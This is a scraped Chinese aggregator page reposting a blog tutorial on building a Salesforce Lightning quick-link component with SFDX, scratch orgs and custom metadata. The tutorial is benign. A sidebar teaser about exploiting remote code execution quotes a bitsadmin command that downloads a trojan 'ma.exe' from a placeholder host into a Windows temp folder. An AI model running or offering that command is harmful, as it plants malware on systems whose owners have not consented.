原 荐 SFDX 小试2(结合一个功能Demo)

栏目: 编程工具 · 发布时间: 6年前

原 荐 SFDX 小试2(结合一个功能Demo)

SFDX 小试2(结合一个功能Demo)

  在山的那边 发布于 今天 00:52

字数 1019

阅读 26

收藏 0

Scratch Apache Apex IntelliJ IDEA Sandbox def

21天精品区块链课程免费学习,深入实战行家带路,助力开发者轻松玩转区块链! >>> 原 荐 SFDX 小试2(结合一个功能Demo)

去年经手的一个项目有个需求是,在主页增加一个快速报表的入口以及操作手册的入口,因为项目是基于Lightning的所以自然是通过组件方式,在主页中拿一个富文本放入页面中,在富文本中,添加a链接 很快就完成了,但后面的问题也产生了,每次刷的Sandbox 那些链接都是跳转到正式环境,另一个当初只有几个主页,随着时间的过去,主页多了,维护工作量也大,且低效,打开App Builder是个耗时工作,富文本加载非常慢.正好看了下SFDX的相关东西,于是就把这两个合并做个Demo.

  1. 通过IDEA(Illuminated Cloud 插件)创建一个SFDX项目,填写项目名称,目录默认是force-app

    原 荐 SFDX 小试2(结合一个功能Demo)

  2. 创建OR绑定一个Scratch Org(有效期最多好像是30天,不确定,填写大于30天就会限定30),点击+号创建,在Connection 中可以选择一个已经存在的

    原 荐 SFDX 小试2(结合一个功能Demo)

  3. 选择绑定的Scratch Org

    原 荐 SFDX 小试2(结合一个功能Demo)

  4. 在终端通过命令查看Org列表

    原 荐 SFDX 小试2(结合一个功能Demo)

  5. 项目结构如截图config是Scratch Org的配置 force-app是存放元数据目标 sfdx-project.json 是项目配置文件,登录地址api版本

    原 荐 SFDX 小试2(结合一个功能Demo)

  6. 创建QuickLink 组件 代码很简单,就是一个卡片,lightning:layoutItem 布局

    原 荐 SFDX 小试2(结合一个功能Demo)

    QuickLink.design 中提供在App Builder中可配置属性,定义 类型是报表还是文件,显示1列还是2列,组件Id等,具体见文 未代码

    原 荐 SFDX 小试2(结合一个功能Demo)

    控制类只一个初始化加载方法,加载数据显示在前台

    原 荐 SFDX 小试2(结合一个功能Demo)

    Helper类中只有一个加数据的方法,将结果设置到前台属性中(引用了一个ServerActionService组件封装请求来源于 Implement and Use Lightning Service Components ) 原 荐 SFDX 小试2(结合一个功能Demo)

  7. 创建Apex类 Apex类中,通过前台传的参数,查询数据给前台

    原 荐 SFDX 小试2(结合一个功能Demo)

  8. 配置数据采用自定义元数据,报表可以配置文件夹,文件暂时只支持查询某个Library下的所有文件,没有采用文档是因为文档只能上传最大5M

    原 荐 SFDX 小试2(结合一个功能Demo)

    配置的数据

    原 荐 SFDX 小试2(结合一个功能Demo)

  9. 通过 push/pull 菜单推送本地代码与拉取元数据

    原 荐 SFDX 小试2(结合一个功能Demo)

  10. 目前发现一个不好的点是,如果推送失败了,只会告诉你失败,没有提示信息,有时有,在apex有错误时要好些,但是cmp有错误,效果就没有那么好,所以有时要通过控制台push下

  11. 如果在推送时报没有权限,通过config list看下有没有配置本地,通过IDEA创建的临时Org是不会的

    原 荐 SFDX 小试2(结合一个功能Demo)

    设置某个临时组件为默认

    原 荐 SFDX 小试2(结合一个功能Demo)

  12. 在主页中配置组件,也可以在其它页面中

    原 荐 SFDX 小试2(结合一个功能Demo)

    效果如下 两列情况

    原 荐 SFDX 小试2(结合一个功能Demo)

    一列情况

    原 荐 SFDX 小试2(结合一个功能Demo)

    放到Account页面布局

    原 荐 SFDX 小试2(结合一个功能Demo)

  13. 文件没有测试,在这个临时Org中创建了库,但是不显示,再创建时提供该api已经存在,不知为何.

  14. 需要完善的是,如果报表名过长没有处理,需要省略显示,悬浮显示

  15. 代码见 github

  16. 点击部署,然后跳转到一个界面,授权登录devhub,然后开始自动创建临时Org,并部署

    原 荐 SFDX 小试2(结合一个功能Demo)

  17. 部署成功截图

    原 荐 SFDX 小试2(结合一个功能Demo)

  18. 登录到临时Org查看是否可以运行正常 页面已经部署了,为了测试设置为组织默认

    原 荐 SFDX 小试2(结合一个功能Demo)

    原 荐 SFDX 小试2(结合一个功能Demo)

  19. 正常显示,数据都过来了

    原 荐 SFDX 小试2(结合一个功能Demo)

  20. 项目中一定要有project-scratch-def.json这个,否则会提示没有这个文件无法创建临时Org,这一点就体现sfdx的便捷,以前是要把代码复制,现在通过部署就可以.

© 著作权归作者所有

共有人打赏支持

原 荐 SFDX 小试2(结合一个功能Demo)

在山的那边

原 荐 SFDX 小试2(结合一个功能Demo)
原 荐 SFDX 小试2(结合一个功能Demo)

参与源创会

“源创会”在线下联结了各位 OSCer,推广开源项目和理念,很荣幸有你的参与~

领取条件:参与过开源中国“源创会”的 OSCer 可以领取

粉丝 12

博文 37

码字总数 24546

作品 0

长宁

程序员

相关文章 最新文章

react-router入门

如果您已经入门reactjs,请绕道~ 这篇博客只适合初学者,初学reactjs的时候,如果你不会webpack,相信很多人都会被官方的例子绕的晕头转向。 ES6的例子也会搞死一批入门者。之前一直用的gulp,...

馒头

2016/03/08

153

0

VSCode Snippet 小试牛刀

这几天因为一个需求,要不断重复一个用特定代码段去包围不同代码的需求。 这个要不断移动鼠标以及重复敲打相同代码的体力活,实在让我老眼昏花,体内的懒人之力迫使我想一个快捷的方法来代替...

狮子还是喵

08/11

0

0

原 荐 SFDX 小试2(结合一个功能Demo)
创龙DSP开发培训班

创龙教育是一个全新的培训品牌,以独有技术开发背景,比传统培训机构更加灵活,志在打造一个以理论知识结合实践操作的教学课堂,深入浅出。是首家以DSP培训为主导的培训机构。由资深在职工程...

meme6123

2016/05/09

157

0

小试 Red5 流媒体服务器

1. 什么是Red5. Red5是一个开源项目,用于实现flash与服务器端之间通过rtmp(real time messaging protocal)协议通信,可以实现视频、音频的传输,remote shared object等等。相对于FMS, Red5...

红薯

2010/04/15

13.1K

6

【NDK】NDK初入门

下载地址: http://blog.csdn.net/lanergaming/article/details/39855033 http://www.androiddevtools.cn/ 配置ndk: jni头文件需要用到javah命令: 开始生成步骤: 1、 可以发现上面出现找不...

小树coding

2016/05/18

48

0

没有更多内容

加载失败,请刷新页面

加载更多
JFinal框架学习-----paginate分页

1.JFinal实现分页要借助于其Model和DB提供的分页API: paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) 其中的参数含义分别为:当前页的页...

Carol998

9分钟前

0

0

原 荐 SFDX 小试2(结合一个功能Demo)
linux添加开机启动脚本

说明 0——关机, 1——单用户,就是我们之前修改root账户密码的模式, 2——多用户模式,但比3模式少了一个nfs服务 3——多用户命令行模式,最常用 4——保留级别暂时没用, 5——图形模式,...

xiaoge2016

21分钟前

0

0

原 荐 SFDX 小试2(结合一个功能Demo)
远程rce漏洞执行命令

# windows# 首先需要准备一个木马程序ma.exebitsadmin /transfer myjob1/download /priority normal http://www.xxx.com/ma.exe c:\windows\temp\ma.exe# ma.exe保存在http://www.......

超级大黑猫

30分钟前

0

0

Docker学习(五) Mongodb安装

[root@localhost ~]# mkdir -p ~/mongo ~/mongo/db [root@localhost ~]# cd mongo 安装mongodb [root@localhost mongo]# docker pull mongo 运行容器,不加权限 [root@localhost mongo]# do......

freelb

32分钟前

0

0

IPv6来了之后,SDN的前进方向

导读 IPv6的引入,让SDN的重构进程变得困难,SDN技术面对的仍是IPv4网络,现在一下子来了个IPv6,SDN该如何适配,能够完好支持都成了问题,IPv6给SDN出了不小的难题。 IPv6喊了这么多年,终于...

问题终结者

33分钟前

1

0

原 荐 SFDX 小试2(结合一个功能Demo)

没有更多内容

加载失败,请刷新页面

加载更多

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员的英语

程序员的英语

[韩]朴栽浒、[韩]李海永 / 颜廷连 / 人民邮电出版社 / 2018-2 / 49.00元

高考以后就把英语都还给老师了? 写代码特顺溜,一到英语就卡壳? 常见的语法书太枯燥,单词书又太宽泛? 不用急,快来加入针对开发人员的英语读解能力训练项目! - 安全与黑客攻击、无人机与机器人、大数据、物联网、云计算,顺应新技术潮流! - 语法、单词、完形填空、阅读理解、翻译,多角度提升读解能力! - 英语母语技术人员审校,提供“语言和技术”双保险!一起来看看 《程序员的英语》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具